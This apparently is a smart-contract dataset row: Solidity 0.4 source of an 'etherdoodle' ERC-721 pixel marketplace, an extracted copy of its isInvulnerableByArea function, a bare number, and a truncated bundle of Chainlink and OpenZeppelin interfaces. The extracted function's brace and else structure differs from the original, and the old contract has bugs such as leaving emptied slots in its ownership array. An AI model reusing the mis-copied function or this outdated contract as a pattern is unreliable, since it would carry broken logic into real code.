pragma solidity ^0.4.23; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn&#39;t hold return a / b; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } /** * Utility library of inline functions on addresses */ library AddressUtils { /** * Returns whether the target address is a contract * @dev This function will return false if invoked during the constructor of a contract, * as the code is not actually created until after the constructor finishes. * @param addr address to check * @return whether the target address is a contract */ function isContract(address addr) internal view returns (bool) { uint256 size; // XXX Currently there is no better way to check if there is a contract in an address // than to check the size of the code at that address. // See https://ethereum.stackexchange.com/a/14016/36603 // for more details about how this works. // TODO Check this again before the Serenity release, because all addresses will be // contracts then. // solium-disable-next-line security/no-inline-assembly assembly { size := extcodesize(addr) } return size > 0; } } /** * @title ERC721 Non-Fungible Token Standard basic interface * @dev see https://github.com/ethereum/EIPs/blob/master/EIPS/eip-721.md */ contract ERC721 { event Transfer( address indexed _from, address indexed _to, uint256 _tokenId ); event Approval( address indexed _owner, address indexed _approved, uint256 _tokenId ); event ApprovalForAll( address indexed _owner, address indexed _operator, bool _approved ); function balanceOf(address _owner) public view returns (uint256 _balance); function ownerOf(uint256 _tokenId) public view returns (address _owner); function exists(uint256 _tokenId) public view returns (bool _exists); function approve(address _to, uint256 _tokenId) public; function getApproved(uint256 _tokenId) public view returns (address _operator); function setApprovalForAll(address _operator, bool _approved) public; function isApprovedForAll(address _owner, address _operator) public view returns (bool); function transferFrom(address _from, address _to, uint256 _tokenId) public; function safeTransferFrom(address _from, address _to, uint256 _tokenId) public; function safeTransferFrom( address _from, address _to, uint256 _tokenId, bytes _data ) public; } contract ERC721Receiver { /** * @dev Magic value to be returned upon successful reception of an NFT * Equals to `bytes4(keccak256("onERC721Received(address,uint256,bytes)"))`, * which can be also obtained as `ERC721Receiver(0).onERC721Received.selector` */ bytes4 constant ERC721_RECEIVED = 0xf0b9e5ba; /** * @notice Handle the receipt of an NFT * @dev The ERC721 smart contract calls this function on the recipient * after a `safetransfer`. This function MAY throw to revert and reject the * transfer. This function MUST use 50,000 gas or less. Return of other * than the magic value MUST result in the transaction being reverted. * Note: the contract address is always the message sender. * @param _from The sending address * @param _tokenId The NFT identifier which is being transfered * @param _data Additional data with no specified format * @return `bytes4(keccak256("onERC721Received(address,uint256,bytes)"))` */ function onERC721Received( address _from, uint256 _tokenId, bytes _data ) public returns(bytes4); } contract etherdoodleToken is ERC721 { using AddressUtils for address; //@dev ERC-721 compliance bytes4 constant ERC721_RECEIVED = 0xf0b9e5ba; //EVENTS // @dev fired when a pixel&#39;s colour is changed event ColourChanged(uint pixelId, uint8 colourR, uint8 colourG, uint8 colourB); // @dev fired when a pixel&#39;s price is changed event PriceChanged(uint pixelId, uint oldPrice, uint newPrice); // @dev fired when a pixel&#39;s text is changed event TextChanged(uint pixelId, string textChanged); //@dev name for ERC-721 string constant public name = "etherdoodle"; //@dev symbol for ERC-721 string constant public symbol = "etherdoodle"; //@dev Starting pixel price uint constant public startingPrice = 0.001 ether; //@dev Switch from 3x to 1.5x per transaction uint private constant stepAt = 0.09944 ether; //@dev The addresses of the accounts address public ceoAddress; //DATA STRUCTURES //@dev struct representation of a pixel struct Pixel { uint32 id; uint8 colourR; uint8 colourG; uint8 colourB; string pixelText; } //@dev array holding all pixels Pixel[1000000] public pixels; //MAPPINGS //@dev mapping from a pixel to its owner mapping (uint => address) private pixelToOwner; //@dev mapping from owner to all of their pixels; mapping (address => uint[]) private ownerToPixel; //@dev mapping from an address to the count of pixels mapping (address => uint) private ownerPixelCount; //@dev mapping from a pixelId to the price of that pixel mapping (uint => uint ) private pixelToPrice; //@dev mapping from a pixel to an approved account for transfer mapping(uint => address) public pixelToApproved; //@dev mapping from an address to another mapping that determines if an operator is approved mapping(address => mapping(address=>bool)) internal operatorApprovals; //MODIFIERS //@dev access modifiers for ceo modifier onlyCEO() { require(msg.sender == ceoAddress); _; } //@dev used to verify ownership modifier onlyOwnerOf(uint _pixelId) { require(msg.sender == ownerOf(_pixelId)); _; } //@dev used to allow operators to transfer and to manage the pixels modifier canManageAndTransfer(uint _pixelId) { require(isApprovedOrOwner(msg.sender, _pixelId)); _; } //@dev make sure that the recipient address is notNull modifier notNull(address _to) { require(_to != address(0)); _; } //Constructor constructor () public { ceoAddress = msg.sender; } /////// // External functions ///// //@dev function to assign a new CEO function assignCEO(address _newCEO) external onlyCEO { require(_newCEO != address(0)); ceoAddress = _newCEO; } //@Update All a selected pixels details, can be done by the operator, or the owner function updateAllPixelDetails(uint _pixelId, uint8 _colourR, uint8 _colourG, uint8 _colourB,uint _price,string _text) external canManageAndTransfer(_pixelId) { require(_price <= pixelToPrice[_pixelId]); require(_price >= 0.0001 ether); require(bytes(_text).length < 101); bool colourChangedBool = false; if(pixelToPrice[_pixelId] != _price){ pixelToPrice[_pixelId] = _price; emit PriceChanged(_pixelId,pixelToPrice[_pixelId],_price); } if(pixels[_pixelId].colourR != _colourR){ pixels[_pixelId].colourR = _colourR; colourChangedBool = true; } if(pixels[_pixelId].colourG != _colourG){ pixels[_pixelId].colourG = _colourG; colourChangedBool = true; } if(pixels[_pixelId].colourB != _colourB){ pixels[_pixelId].colourB = _colourB; colourChangedBool = true; } if (colourChangedBool){ emit ColourChanged(_pixelId, _colourR, _colourG, _colourB); } if(keccak256(getPixelText(_pixelId)) != keccak256(_text) ){ pixels[_pixelId].pixelText = _text; emit TextChanged(_pixelId,_text); } } //@dev add an address to a pixel&#39;s approved list function approve(address _to, uint _pixelId) public { address owner = ownerOf(_pixelId); require(_to != owner); require(msg.sender == owner || isApprovedForAll(owner,msg.sender)); if(getApproved(_pixelId) != address(0) || _to != address(0)) { pixelToApproved[_pixelId] = _to; emit Approval(msg.sender, _to, _pixelId); } } //@dev returns approved Addresses function getApproved(uint _pixelId) public view returns(address){ return pixelToApproved[_pixelId]; } //@dev approve all an owner&#39;s pixels to be managed by an address function setApprovalForAll(address _to,bool _approved) public{ require(_to != msg.sender); operatorApprovals[msg.sender][_to] = _approved; emit ApprovalForAll(msg.sender, _to, _approved); } /////////////////// ///Public functions /////////////////// //@dev returns if a pixel has already been purchased function exists(uint256 _pixelId) public view returns (bool) { address owner = pixelToOwner[_pixelId]; return owner != address(0); } //@dev returns if an address is approved to manage all another address&#39; pixels function isApprovedForAll(address _owner, address _operator) public view returns(bool) { return operatorApprovals[_owner][_operator]; } //@dev returns the number of pixels an address owns function balanceOf(address _owner) public view returns (uint) { return ownerPixelCount[_owner]; } //@dev returns the owner of a pixel function ownerOf(uint _pixelId) public view returns (address) { address owner = pixelToOwner[_pixelId]; return owner; } //@dev internal function to determine if its approved or an owner function isApprovedOrOwner(address _spender, uint _pixelId)internal view returns (bool) { address owner = ownerOf(_pixelId); return(_spender == owner || getApproved(_pixelId) == _spender || isApprovedForAll(owner,_spender)); } //@dev internal function to remove approval on a pixel function clearApproval(address _owner, uint256 _pixelId) internal { require(ownerOf(_pixelId) == _owner); if(pixelToApproved[_pixelId] != address(0)) { pixelToApproved[_pixelId] = address(0); emit Approval(_owner,address(0),_pixelId); } } //@dev returns the total number of pixels generated function totalSupply() public view returns (uint) { return pixels.length; } //@dev ERC 721 transfer from function transferFrom(address _from, address _to, uint _pixelId) public canManageAndTransfer(_pixelId) { require(_from != address(0)); require(_to != address(0)); clearApproval(_from,_pixelId); _transfer(_from, _to, _pixelId); } //@dev ERC 721 safeTransfer from functions function safeTransferFrom(address _from, address _to, uint _pixelId) public canManageAndTransfer(_pixelId){ safeTransferFrom(_from,_to,_pixelId,""); } //@dev ERC 721 safeTransferFrom functions function safeTransferFrom(address _from, address _to, uint _pixelId,bytes _data) public canManageAndTransfer(_pixelId){ transferFrom(_from,_to,_pixelId); require(checkAndCallSafeTransfer(_from,_to,_pixelId,_data)); } //@dev TRANSFER function transfer(address _to, uint _pixelId) public canManageAndTransfer(_pixelId) notNull(_to) { _transfer(msg.sender, _to, _pixelId); } //@dev returns all pixel&#39;s data function getPixelData(uint _pixelId) public view returns (uint32 _id, address _owner, uint8 _colourR, uint8 _colourG, uint8 _colourB, uint _price,string _text) { Pixel storage pixel = pixels[_pixelId]; _id = pixel.id; _price = getPixelPrice(_pixelId); _owner = pixelToOwner[_pixelId]; _colourR = pixel.colourR; _colourG = pixel.colourG; _colourB = pixel.colourB; _text = pixel.pixelText; } //@dev Returns only Text function getPixelText(uint _pixelId)public view returns(string) { return pixels[_pixelId].pixelText; } //@dev Returns the priceof a pixel function getPixelPrice(uint _pixelId) public view returns(uint) { uint price = pixelToPrice[_pixelId]; if (price != 0) { return price; } else { return startingPrice; } } //@dev return the pixels owned by an address function getPixelsOwned(address _owner) public view returns(uint[]) { return ownerToPixel[_owner]; } //@dev return number of pixels owned by an address function getOwnerPixelCount(address _owner) public view returns(uint) { return ownerPixelCount[_owner]; } //@dev return colour function getPixelColour(uint _pixelId) public view returns (uint _colourR, uint _colourG, uint _colourB) { _colourR = pixels[_pixelId].colourR; _colourG = pixels[_pixelId].colourG; _colourB = pixels[_pixelId].colourB; } //@dev payout function to dev function payout(address _to) public onlyCEO { if (_to == address(0)) { ceoAddress.transfer(address(this).balance); } else { _to.transfer(address(this).balance); } } //@dev purchase multiple pixels at the same time function multiPurchase(uint32[] _Id, uint8[] _R,uint8[] _G,uint8[] _B,string _text) public payable { require(_Id.length == _R.length && _Id.length == _G.length && _Id.length == _B.length); require(bytes(_text).length < 101); address newOwner = msg.sender; uint totalPrice = 0; uint excessValue = msg.value; for(uint i = 0; i < _Id.length; i++){ address oldOwner = ownerOf(_Id[i]); require(ownerOf(_Id[i]) != newOwner); require(!isInvulnerableByArea(_Id[i])); uint tempPrice = getPixelPrice(_Id[i]); totalPrice = SafeMath.add(totalPrice,tempPrice); excessValue = processMultiPurchase(_Id[i],_R[i],_G[i],_B[i],_text,oldOwner,newOwner,excessValue); if(i == _Id.length-1) { require(msg.value >= totalPrice); msg.sender.transfer(excessValue); } } } //@dev helper function for processing multiple purchases function processMultiPurchase(uint32 _pixelId,uint8 _colourR,uint8 _colourG,uint8 _colourB,string _text, // solium-disable-line address _oldOwner,address _newOwner,uint value) private returns (uint excess) { uint payment; // payment to previous owner uint purchaseExcess; // excess purchase value uint sellingPrice = getPixelPrice(_pixelId); if(_oldOwner == address(0)) { purchaseExcess = uint(SafeMath.sub(value,startingPrice)); _createPixel((_pixelId), _colourR, _colourG, _colourB,_text); } else { payment = uint(SafeMath.div(SafeMath.mul(sellingPrice,95), 100)); purchaseExcess = SafeMath.sub(value,sellingPrice); if(pixels[_pixelId].colourR != _colourR || pixels[_pixelId].colourG != _colourG || pixels[_pixelId].colourB != _colourB) _changeColour(_pixelId,_colourR,_colourG,_colourB); if(keccak256(getPixelText(_pixelId)) != keccak256(_text)) _changeText(_pixelId,_text); clearApproval(_oldOwner,_pixelId); } if(sellingPrice < stepAt) { pixelToPrice[_pixelId] = SafeMath.div(SafeMath.mul(sellingPrice,300),95); } else { pixelToPrice[_pixelId] = SafeMath.div(SafeMath.mul(sellingPrice,150),95); } _transfer(_oldOwner, _newOwner,_pixelId); if(_oldOwner != address(this)) { _oldOwner.transfer(payment); } return purchaseExcess; } function _changeColour(uint _pixelId,uint8 _colourR,uint8 _colourG, uint8 _colourB) private { pixels[_pixelId].colourR = _colourR; pixels[_pixelId].colourG = _colourG; pixels[_pixelId].colourB = _colourB; emit ColourChanged(_pixelId, _colourR, _colourG, _colourB); } function _changeText(uint _pixelId, string _text) private{ require(bytes(_text).length < 101); pixels[_pixelId].pixelText = _text; emit TextChanged(_pixelId,_text); } //@dev Invulnerability logic check function isInvulnerableByArea(uint _pixelId) public view returns (bool) { require(_pixelId >= 0 && _pixelId <= 999999); if (ownerOf(_pixelId) == address(0)) { return false; } uint256 counter = 0; if (_pixelId == 0 || _pixelId == 999 || _pixelId == 999000 || _pixelId == 999999) { return false; } if (_pixelId < 1000) { if (_checkPixelRight(_pixelId)) { counter = SafeMath.add(counter, 1); } if (_checkPixelLeft(_pixelId)) { counter = SafeMath.add(counter, 1); } if (_checkPixelUnder(_pixelId)) { counter = SafeMath.add(counter, 1); } if (_checkPixelUnderRight(_pixelId)) { counter = SafeMath.add(counter, 1); } if (_checkPixelUnderLeft(_pixelId)) { counter = SafeMath.add(counter, 1); } } if (_pixelId > 999000) { if (_checkPixelRight(_pixelId)) { counter = SafeMath.add(counter, 1); } if (_checkPixelLeft(_pixelId)) { counter = SafeMath.add(counter, 1); } if (_checkPixelAbove(_pixelId)) { counter = SafeMath.add(counter, 1); } if (_checkPixelAboveRight(_pixelId)) { counter = SafeMath.add(counter, 1); } if (_checkPixelAboveLeft(_pixelId)) { counter = SafeMath.add(counter, 1); } } if (_pixelId > 999 && _pixelId < 999000) { if (_pixelId%1000 == 0 || _pixelId%1000 == 999) { if (_pixelId%1000 == 0) { if (_checkPixelAbove(_pixelId)) { counter = SafeMath.add(counter, 1); } if (_checkPixelAboveRight(_pixelId)) { counter = SafeMath.add(counter, 1); } if (_checkPixelRight(_pixelId)) { counter = SafeMath.add(counter, 1); } if (_checkPixelUnder(_pixelId)) { counter = SafeMath.add(counter, 1); } if (_checkPixelUnderRight(_pixelId)) { counter = SafeMath.add(counter, 1); } } else { if (_checkPixelAbove(_pixelId)) { counter = SafeMath.add(counter, 1); } if (_checkPixelAboveLeft(_pixelId)) { counter = SafeMath.add(counter, 1); } if (_checkPixelLeft(_pixelId)) { counter = SafeMath.add(counter, 1); } if (_checkPixelUnder(_pixelId)) { counter = SafeMath.add(counter, 1); } if (_checkPixelUnderLeft(_pixelId)) { counter = SafeMath.add(counter, 1); } } } else { if (_checkPixelAbove(_pixelId)) { counter = SafeMath.add(counter, 1); } if (_checkPixelAboveLeft(_pixelId)) { counter = SafeMath.add(counter, 1); } if (_checkPixelAboveRight(_pixelId)) { counter = SafeMath.add(counter, 1); } if (_checkPixelUnder(_pixelId)) { counter = SafeMath.add(counter, 1); } if (_checkPixelUnderRight(_pixelId)) { counter = SafeMath.add(counter, 1); } if (_checkPixelUnderLeft(_pixelId)) { counter = SafeMath.add(counter, 1); } if (_checkPixelRight(_pixelId)) { counter = SafeMath.add(counter, 1); } if (_checkPixelLeft(_pixelId)) { counter = SafeMath.add(counter, 1); } } } return counter >= 5; } //////////////////// ///Private functions //////////////////// //@dev create a pixel function _createPixel (uint32 _id, uint8 _colourR, uint8 _colourG, uint8 _colourB, string _pixelText) private returns(uint) { pixels[_id] = Pixel(_id, _colourR, _colourG, _colourB, _pixelText); pixelToPrice[_id] = startingPrice; emit ColourChanged(_id, _colourR, _colourG, _colourB); return _id; } //@dev private function to transfer a pixel from an old address to a new one function _transfer(address _from, address _to, uint _pixelId) private { //increment new owner pixel count and decrement old owner count and add a pixel to the owners array ownerPixelCount[_to] = SafeMath.add(ownerPixelCount[_to], 1); ownerToPixel[_to].push(_pixelId); if (_from != address(0)) { for (uint i = 0; i < ownerToPixel[_from].length; i++) { if (ownerToPixel[_from][i] == _pixelId) { ownerToPixel[_from][i] = ownerToPixel[_from][ownerToPixel[_from].length-1]; delete ownerToPixel[_from][ownerToPixel[_from].length-1]; } } ownerPixelCount[_from] = SafeMath.sub(ownerPixelCount[_from], 1); } pixelToOwner[_pixelId] = _to; emit Transfer(_from, _to, _pixelId); } //@dev helper functions to check for if a pixel purchase is valid function _checkPixelAbove(uint _pixelId) private view returns (bool) { if (ownerOf(_pixelId) == ownerOf(_pixelId-1000)) { return true; } else { return false; } } function _checkPixelUnder(uint _pixelId) private view returns (bool) { if (ownerOf(_pixelId) == ownerOf(_pixelId+1000)) { return true; } else { return false; } } function _checkPixelRight(uint _pixelId) private view returns (bool) { if (ownerOf(_pixelId) == ownerOf(_pixelId+1)) { return true; } else { return false; } } function _checkPixelLeft(uint _pixelId) private view returns (bool) { if (ownerOf(_pixelId) == ownerOf(_pixelId-1)) { return true; } else { return false; } } function _checkPixelAboveLeft(uint _pixelId) private view returns (bool) { if (ownerOf(_pixelId) == ownerOf(_pixelId-1001)) { return true; } else { return false; } } function _checkPixelUnderLeft(uint _pixelId) private view returns (bool) { if (ownerOf(_pixelId) == ownerOf(_pixelId+999)) { return true; } else { return false; } } function _checkPixelAboveRight(uint _pixelId) private view returns (bool) { if (ownerOf(_pixelId) == ownerOf(_pixelId-999)) { return true; } else { return false; } } function _checkPixelUnderRight(uint _pixelId) private view returns (bool) { if (ownerOf(_pixelId) == ownerOf(_pixelId+1001)) { return true; } else { return false; } } //@dev ERC721 compliance to check what address it is being sent to function checkAndCallSafeTransfer(address _from, address _to, uint256 _pixelId, bytes _data) internal returns (bool) { if (!_to.isContract()) { return true; } bytes4 retval = ERC721Receiver(_to).onERC721Received( _from, _pixelId, _data); return (retval == ERC721_RECEIVED); } }
Invulnerability logic check
function isInvulnerableByArea(uint _pixelId) public view returns (bool) { require(_pixelId >= 0 && _pixelId <= 999999); if (ownerOf(_pixelId) == address(0)) { return false; } uint256 counter = 0; if (_pixelId == 0 || _pixelId == 999 || _pixelId == 999000 || _pixelId == 999999) { return false; } if (_pixelId < 1000) { if (_checkPixelRight(_pixelId)) { counter = SafeMath.add(counter, 1); } if (_checkPixelLeft(_pixelId)) { counter = SafeMath.add(counter, 1); } if (_checkPixelUnder(_pixelId)) { counter = SafeMath.add(counter, 1); } if (_checkPixelUnderRight(_pixelId)) { counter = SafeMath.add(counter, 1); } if (_checkPixelUnderLeft(_pixelId)) { counter = SafeMath.add(counter, 1); } } if (_pixelId > 999000) { if (_checkPixelRight(_pixelId)) { counter = SafeMath.add(counter, 1); } if (_checkPixelLeft(_pixelId)) { counter = SafeMath.add(counter, 1); } if (_checkPixelAbove(_pixelId)) { counter = SafeMath.add(counter, 1); } if (_checkPixelAboveRight(_pixelId)) { counter = SafeMath.add(counter, 1); } if (_checkPixelAboveLeft(_pixelId)) { counter = SafeMath.add(counter, 1); } } if (_pixelId > 999 && _pixelId < 999000) { if (_pixelId%1000 == 0 || _pixelId%1000 == 999) { if (_pixelId%1000 == 0) { if (_checkPixelAbove(_pixelId)) { counter = SafeMath.add(counter, 1); } if (_checkPixelAboveRight(_pixelId)) { counter = SafeMath.add(counter, 1); } if (_checkPixelRight(_pixelId)) { counter = SafeMath.add(counter, 1); } if (_checkPixelUnder(_pixelId)) { counter = SafeMath.add(counter, 1); } if (_checkPixelUnderRight(_pixelId)) { counter = SafeMath.add(counter, 1); } if (_checkPixelAbove(_pixelId)) { counter = SafeMath.add(counter, 1); } if (_checkPixelAboveLeft(_pixelId)) { counter = SafeMath.add(counter, 1); } if (_checkPixelLeft(_pixelId)) { counter = SafeMath.add(counter, 1); } if (_checkPixelUnder(_pixelId)) { counter = SafeMath.add(counter, 1); } if (_checkPixelUnderLeft(_pixelId)) { counter = SafeMath.add(counter, 1); } } if (_checkPixelAbove(_pixelId)) { counter = SafeMath.add(counter, 1); } if (_checkPixelAboveLeft(_pixelId)) { counter = SafeMath.add(counter, 1); } if (_checkPixelAboveRight(_pixelId)) { counter = SafeMath.add(counter, 1); } if (_checkPixelUnder(_pixelId)) { counter = SafeMath.add(counter, 1); } if (_checkPixelUnderRight(_pixelId)) { counter = SafeMath.add(counter, 1); } if (_checkPixelUnderLeft(_pixelId)) { counter = SafeMath.add(counter, 1); } if (_checkPixelRight(_pixelId)) { counter = SafeMath.add(counter, 1); } if (_checkPixelLeft(_pixelId)) { counter = SafeMath.add(counter, 1); } } } return counter >= 5; }
6,799,844
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; library Denominations { address public constant ETH = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE; address public constant BTC = 0xbBbBBBBbbBBBbbbBbbBbbbbBBbBbbbbBbBbbBBbB; // Fiat currencies follow https://en.wikipedia.org/wiki/ISO_4217 address public constant USD = address(840); address public constant GBP = address(826); address public constant EUR = address(978); address public constant JPY = address(392); address public constant KRW = address(410); address public constant CNY = address(156); address public constant AUD = address(36); address public constant CAD = address(124); address public constant CHF = address(756); address public constant ARS = address(32); address public constant PHP = address(608); address public constant NZD = address(554); address public constant SGD = address(702); address public constant NGN = address(566); address public constant ZAR = address(710); address public constant RUB = address(643); address public constant INR = address(356); address public constant BRL = address(986); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; interface AggregatorInterface { function latestAnswer() external view returns (int256); function latestTimestamp() external view returns (uint256); function latestRound() external view returns (uint256); function getAnswer(uint256 roundId) external view returns (int256); function getTimestamp(uint256 roundId) external view returns (uint256); event AnswerUpdated(int256 indexed current, uint256 indexed roundId, uint256 updatedAt); event NewRound(uint256 indexed roundId, address indexed startedBy, uint256 startedAt); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./AggregatorInterface.sol"; import "./AggregatorV3Interface.sol"; interface AggregatorV2V3Interface is AggregatorInterface, AggregatorV3Interface {} // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; interface AggregatorV3Interface { function decimals() external view returns (uint8); function description() external view returns (string memory); function version() external view returns (uint256); // getRoundData and latestRoundData should both raise "No data present" // if they do not have data to report, instead of returning unset values // which could be misinterpreted as actual reported values. function getRoundData(uint80 _roundId) external view returns ( uint80 roundId, int256 answer, uint256 startedAt, uint256 updatedAt, uint80 answeredInRound ); function latestRoundData() external view returns ( uint80 roundId, int256 answer, uint256 startedAt, uint256 updatedAt, uint80 answeredInRound ); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; pragma abicoder v2; import "./AggregatorV2V3Interface.sol"; interface FeedRegistryInterface { struct Phase { uint16 phaseId; uint80 startingAggregatorRoundId; uint80 endingAggregatorRoundId; } event FeedProposed( address indexed asset, address indexed denomination, address indexed proposedAggregator, address currentAggregator, address sender ); event FeedConfirmed( address indexed asset, address indexed denomination, address indexed latestAggregator, address previousAggregator, uint16 nextPhaseId, address sender ); // V3 AggregatorV3Interface function decimals(address base, address quote) external view returns (uint8); function description(address base, address quote) external view returns (string memory); function version(address base, address quote) external view returns (uint256); function latestRoundData(address base, address quote) external view returns ( uint80 roundId, int256 answer, uint256 startedAt, uint256 updatedAt, uint80 answeredInRound ); function getRoundData( address base, address quote, uint80 _roundId ) external view returns ( uint80 roundId, int256 answer, uint256 startedAt, uint256 updatedAt, uint80 answeredInRound ); // V2 AggregatorInterface function latestAnswer(address base, address quote) external view returns (int256 answer); function latestTimestamp(address base, address quote) external view returns (uint256 timestamp); function latestRound(address base, address quote) external view returns (uint256 roundId); function getAnswer( address base, address quote, uint256 roundId ) external view returns (int256 answer); function getTimestamp( address base, address quote, uint256 roundId ) external view returns (uint256 timestamp); // Registry getters function getFeed(address base, address quote) external view returns (AggregatorV2V3Interface aggregator); function getPhaseFeed( address base, address quote, uint16 phaseId ) external view returns (AggregatorV2V3Interface aggregator); function isFeedEnabled(address aggregator) external view returns (bool); function getPhase( address base, address quote, uint16 phaseId ) external view returns (Phase memory phase); // Round helpers function getRoundFeed( address base, address quote, uint80 roundId ) external view returns (AggregatorV2V3Interface aggregator); function getPhaseRange( address base, address quote, uint16 phaseId ) external view returns (uint80 startingRoundId, uint80 endingRoundId); function getPreviousRoundId( address base, address quote, uint80 roundId ) external view returns (uint80 previousRoundId); function getNextRoundId( address base, address quote, uint80 roundId ) external view returns (uint80 nextRoundId); // Feed management function proposeFeed( address base, address quote, address aggregator ) external; function confirmFeed( address base, address quote, address aggregator ) external; // Proposed aggregator function getProposedFeed(address base, address quote) external view returns (AggregatorV2V3Interface proposedAggregator); function proposedGetRoundData( address base, address quote, uint80 roundId ) external view returns ( uint80 id, int256 answer, uint256 startedAt, uint256 updatedAt, uint80 answeredInRound ); function proposedLatestRoundData(address base, address quote) external view returns ( uint80 id, int256 answer, uint256 startedAt, uint256 updatedAt, uint80 answeredInRound ); // Phases function getCurrentPhaseId(address base, address quote) external view returns (uint16 currentPhaseId); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (access/Ownable.sol) pragma solidity ^0.8.0; import "../utils/Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _transferOwnership(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (security/ReentrancyGuard.sol) pragma solidity ^0.8.0; /** * @dev Contract module that helps prevent reentrant calls to a function. * * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier * available, which can be applied to functions to make sure there are no nested * (reentrant) calls to them. * * Note that because there is a single `nonReentrant` guard, functions marked as * `nonReentrant` may not call one another. This can be worked around by making * those functions `private`, and then adding `external` `nonReentrant` entry * points to them. * * TIP: If you would like to learn more about reentrancy and alternative ways * to protect against it, check out our blog post * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul]. */ abstract contract ReentrancyGuard { // Booleans are more expensive than uint256 or any type that takes up a full // word because each write operation emits an extra SLOAD to first read the // slot's contents, replace the bits taken up by the boolean, and then write // back. This is the compiler's defense against contract upgrades and // pointer aliasing, and it cannot be disabled. // The values being non-zero value makes deployment a bit more expensive, // but in exchange the refund on every call to nonReentrant will be lower in // amount. Since refunds are capped to a percentage of the total // transaction's gas, it is best to keep them low in cases like this one, to // increase the likelihood of the full refund coming into effect. uint256 private constant _NOT_ENTERED = 1; uint256 private constant _ENTERED = 2; uint256 private _status; constructor() { _status = _NOT_ENTERED; } /** * @dev Prevents a contract from calling itself, directly or indirectly. * Calling a `nonReentrant` function from another `nonReentrant` * function is not supported. It is possible to prevent this from happening * by making the `nonReentrant` function external, and making it call a * `private` function that does the actual work. */ modifier nonReentrant() { // On the first call to nonReentrant, _notEntered will be true require(_status != _ENTERED, "ReentrancyGuard: reentrant call"); // Any calls to nonReentrant after this point will fail _status = _ENTERED; _; // By storing the original value once again, a refund is triggered (see // https://eips.ethereum.org/EIPS/eip-2200) _status = _NOT_ENTERED; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.5.0) (token/ERC20/IERC20.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `to`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address to, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `from` to `to` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC20/utils/SafeERC20.sol) pragma solidity ^0.8.0; import "../IERC20.sol"; import "../../../utils/Address.sol"; /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are 